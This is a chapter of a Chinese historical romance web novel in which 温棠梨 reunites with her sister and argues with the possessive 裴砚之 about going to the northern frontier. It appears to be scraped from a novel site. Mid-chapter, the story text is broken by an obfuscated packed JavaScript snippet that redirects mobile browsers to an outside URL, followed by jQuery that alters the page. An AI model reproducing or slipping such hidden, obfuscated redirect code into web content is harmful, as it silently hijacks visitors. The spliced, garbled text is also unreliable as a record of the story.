一个邪恶的江洋大盗绑走了一个闺阁里的黄花大闺女。
这个绑匪还一直在笑!笑得合不拢嘴。
绑匪就是绑匪,身上带的工具十分齐全。
白烟尚未散尽,温芷筠已带着妹妹跃出数丈。
待温棠梨眼前清明时,她立即阻止道:“不行,姐姐,我真的要回到他身边去。”
温芷筠猛地刹住脚步,斗笠下的表情堪称精彩,“……哈?”
她扣住温棠梨双肩,把人摇得像风中芦苇,“裴砚之是不是给你灌什么迷魂汤了?还是一场大火给你脑子烧傻掉了?”
温棠梨此刻就如哑巴吃黄连,说不出个所以然来。
温芷筠看着妹妹这副模样,突然伸手揉了揉她的发顶,“罢了罢了,活着就好。”
“今天结束,我把你还给裴砚之,我们姐妹情深,也该叙叙旧了。”
祠堂被烧后的第一个月,温芷筠毅然决然地离开了京城,走南闯北,她不要温府一个铜板。
猎户教她辨认兽踪,农妇教她腌制腊肉,沿途行侠仗义,救人于水火。
这次回京,只因端午将至。过完节,她就会再次启程。
“我亲自做的粽子,裴砚之真是有口福了,带回去煮一下和他一起吃吧?”温芷筠这几年知道了,自己动手,丰衣足食这个道理。
她讲自己浪迹天涯的故事。
温棠梨很羡慕,这也是她一开始的想法,只可惜她没有付诸行动,而是一味地躲在淮南,贪恋着家的温暖。
可她的自私自利也让江家陷入了一个危险的险地,裴砚之的弓箭像是随时都会射出,继而让江家承受他的怒火。
只有温棠梨能够安抚这头疯犬。
只要温棠梨给他一点好脸色,他就是世界上最有用的杀器。
温棠梨想让温晋死。
她会给他想要的。
那点稀薄的爱意,像冬季里偶尔出现的一线晴光。
想起裴砚之看她的眼神,那样烫,那样贪,像是要把她熔进骨血里。
她忽然笑了。
这世上有谁不爱裴砚之呢?
他生就一副好皮相,剑眉星目,三分风流,单是对人笑一笑,任谁都要心尖直颤的。
那夜裴砚之回来很晚,温棠梨思来想去,都是心事。忽听得门外脚步声沉沉。
推门声轻响,她转头望去,只见裴砚之立在门边,官服未换,眉宇间尽是倦色。
烛火映着他半边侧脸,眼下青影浓重,连唇色都淡了几分。
“回来了。”她轻步上前。
裴砚之“嗯”了一声。
她绕到他身后,伸手环住他腰身,脸颊贴在他后背,隔着朝服都能觉出几分凉意。
“裴砚之,欢迎回来。”
他卸了力靠进圈椅,闭目时睫毛在眼下投了片阴影。温棠梨坐在他身侧,听他讲今日朝堂风云。
他说得极简略,温晋和他的党羽处处跟他作对,他说什么,温晋那派就反驳什么。
“好累啊。”他忽然不说了,喉结滚动,连叹息都透着疲惫。
温棠梨倾身向前,唇瓣轻轻落在他眼睑,小心翼翼,“辛苦了。”
这个吻太轻,却让裴砚之眉心一颤。他抬手握住她手腕。
“我们是可以随便亲吻的关系吗?”他问。
“那不会有下次了。”温棠梨说。
说出口的话为什么不能反悔?
裴砚之伸手扣住她的手腕,力道不重,却不容挣脱。他稍一用力,便将她拽进怀里,额头抵在她腰间,深深埋进去,像是要攫取她身上所有的温度与气息。
温棠梨怔了怔,手指无意识地滑进他的发间。他的发丝微凉,触感如绸。
此刻的他,像一头收拢爪牙的野兽,朝她翻出最柔软的肚皮,毫无防备地袒露疲惫与依恋。
她轻轻揉了揉他的发,低声道:“……骗你的。”
裴砚之总爱向温棠梨讨吻,像是上了瘾。
有时她正低头看书,他便凑过来,指尖轻轻点在自己唇上,眼神直白。
温棠梨故意装作不懂,他便俯身逼近,高挺的鼻梁几乎蹭过她的脸颊,呼吸温热,“温棠梨,亲一下?”
嗓音低低的,带着点诱哄的意味,让人难以拒绝。
他尤其爱她身上的气息,每每靠近,总要轻轻嗅一下,像在确认什么。
温棠梨偶尔换了熏香,他便敏锐地察觉,指尖绕着她的一缕发丝把玩,目光却在她身上,今日的襦裙是什么颜色,新的发簪戴在温棠梨头上好不好看,连腕间的翡翠镯子都要多看两眼。
外人面前冷肃自持的裴将军,到了她这儿却格外爱撒娇。
批阅公文时若她在旁,必要将人揽到腿上坐着;夜里就寝前,总要搂着她的腰,下巴搁在她肩窝蹭来蹭去,闷声说:“抱一会儿。”
温棠梨若是不理,他便变本加厉,唇贴着她耳垂含糊地呢喃:“亲一下,就一下……”
可惜他不能带她出门。
否则走在街上,他定会忍不住去牵她的手,指腹摩挲她掌心软肉;若是乘马车,更要将她圈在怀里,下巴抵着她发顶轻轻叹气。
怎么贴得再近,还是觉得不够。
“温棠梨,我变成贪心的大人了。”
裴砚之的声音从温棠梨头顶传来,马车在官道上缓缓前行。
“银翎替我守着边线,我得快点回去了。”
裴砚之闻言顿了顿,眼底浮起一丝复杂的情绪。
“他不是北疆人么?”她话未说完,便察觉到他神色微凝。
他沉默片刻,慢慢说出银翎的身世,“银翎的母亲是北疆人,父亲却是大昭边关守将。”
“二十年前北疆动乱,他母亲带着身孕逃到大昭,在战火中生下他不久便离世了。我父亲在尸堆里捡到这个混着两国血脉的婴孩,带回家中与我一同养大。”
“所以他既不算完全的北疆人,也不算纯粹的大昭人。”
“……”
“裴砚之,我能不能不去北疆。”温棠梨知道现在似乎不是能跟他谈条件的时候。
“不能。”他的回答干脆利落,甚至没有多看她一眼。
温棠梨胸口发闷,思绪太乱了,理不清了,但她知道自己不想去北疆。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741463|162936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>自从被裴砚之带离淮南,她就如同被卷入湍流的浮萍,每一步都身不由己。这一点都不像她。
“不对……”
裴砚之终于转过头来。他伸手抚上她的脸颊,“哪里不对?”
那时候我总以为自己逃得够远就够了。淮南的梅雨时节,我坐在窗前看雨。
人逃到天涯海角,心却被一根根丝线拴在京城。每根线都连着放不下的人,日日夜夜……勒得人喘不过气。
裴砚之三次找她回去,也告诉她。
逃。是解决不了问题的。
于是温棠梨告诉裴砚之,“休息是正确的累了就要休息。裴砚之,我不会逃避了。我爱你。不是作为棋子,不是作为倚仗,就只是想站在你身边的那个人。”
现在的我确实什么都不是。
一个无名鬼,没有权,没有势,就比其他弱小的人多了一点钱。
“这算什么?”裴砚之低笑,突然听见朝思暮久地那句“我爱你”,裴砚之居然没什么反应。
“我什么都没有了,你利用我吧,我可以给你钱,大把大把的钱。”温棠梨说。
“你说你爱我?别把交易说得这么感人。”
温棠梨呼吸一滞。
她从未见过这样的裴砚之,明明在笑,眼神却毫无感情。
“我听说温芷筠来找过你,是她跟你说了什么吗?让你离开我?温棠梨,我开始有点讨厌她了。”裴砚之冷哼一声。
车轮碾过官道的声音沉闷而单调,如同两人之间僵持的心跳,压抑至极。
跟裴砚之说话已经完全说不通了,他陷入了一种“温棠梨只能是我的”的疯魔状态。
温棠梨看着眼前这个陌生的裴砚之,“裴砚之,我不是无情的人!我只是不想去北疆!你何必要跟我闹得这么难看?”
她继续说:“温芷筠是我的姐姐!我为什么不能跟我姐姐聊两句话。你讲点道理好吗?”
“道理?”他吼道:“在你偷偷见她的时候,想过跟我讲道理吗?你知道我找了你多久?找不到你,我比谁都难过!你找银翎都不找我帮忙!”
“我没有偷偷见她!况且!是你不愿意见我在先!”温棠梨被他一吼,有些瑟缩,不过很快反应过来,她又没错,于是便继续跟裴砚之对峙,似乎要把这些年的苦与恨都说出来,“是你!我日日都去敲裴府的门,是你不愿意见我!”
“你知道那时候京城的百姓都怎么议论我吗?说我不知羞耻,明明快要嫁人了,还跑到你家门口,像块‘望夫石’一样痴痴地望着裴二公子!”
我们之间本就不算清白的朋友。
也算不上光明正大的爱侣。
温棠梨很难说没有在平时的相处中喜欢上他。
两个人起伏纠缠了快一年,温棠梨用淮南几年和自己和解。
重逢的那一刻,裴砚之出现,彼此的心跳都快了一秒。
“我……”裴砚之突然语塞了,他当时只是赌气……
“我始终没明白该怎么与你相处。”
“别想了。”裴砚之手指滑落,与她十指相扣,“我们要纠缠一辈子,生生世世。”